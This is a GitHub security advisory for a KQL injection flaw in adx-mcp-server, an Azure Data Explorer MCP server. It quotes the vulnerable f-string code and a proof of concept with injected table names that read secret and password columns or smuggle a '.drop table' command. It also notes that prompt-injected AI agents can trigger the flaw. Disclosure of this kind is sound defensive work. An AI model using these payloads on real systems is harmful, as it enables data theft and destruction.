GHSA-VPHC-468G-8RFP
Vulnerability from github – Published: 2026-03-27 19:08 – Updated: 2026-03-30 20:17Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details" # <-- KQL injection
result_set = client.execute(config.database, query)
KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
- sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
- Newline-separated management commands like .drop table important_data via get_table_details
- Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
# Resulting KQL:
# .show table users details
# .drop table critical_data details
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "adx-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33980"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T19:08:09Z",
"nvd_published_at": "2026-03-27T22:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n client = get_kusto_client()\n query = f\"{table_name} | getschema\" # \u003c-- KQL injection\n result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n client = get_kusto_client()\n query = f\"{table_name} | sample {sample_size}\" # \u003c-- KQL injection\n result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n client = get_kusto_client()\n query = f\".show table {table_name} details\" # \u003c-- KQL injection\n result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n \"name\": \"get_table_schema\",\n \"arguments\": {\n \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n \"name\": \"get_table_details\",\n \"arguments\": {\n \"table_name\": \"users details\\n.drop table critical_data\"\n }\n}\n# Resulting KQL:\n# .show table users details\n# .drop table critical_data details\n```",
"id": "GHSA-vphc-468g-8rfp",
"modified": "2026-03-30T20:17:30Z",
"published": "2026-03-27T19:08:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33980"
},
{
"type": "WEB",
"url": "https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30"
},
{
"type": "PACKAGE",
"url": "https://github.com/pab1it0/adx-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.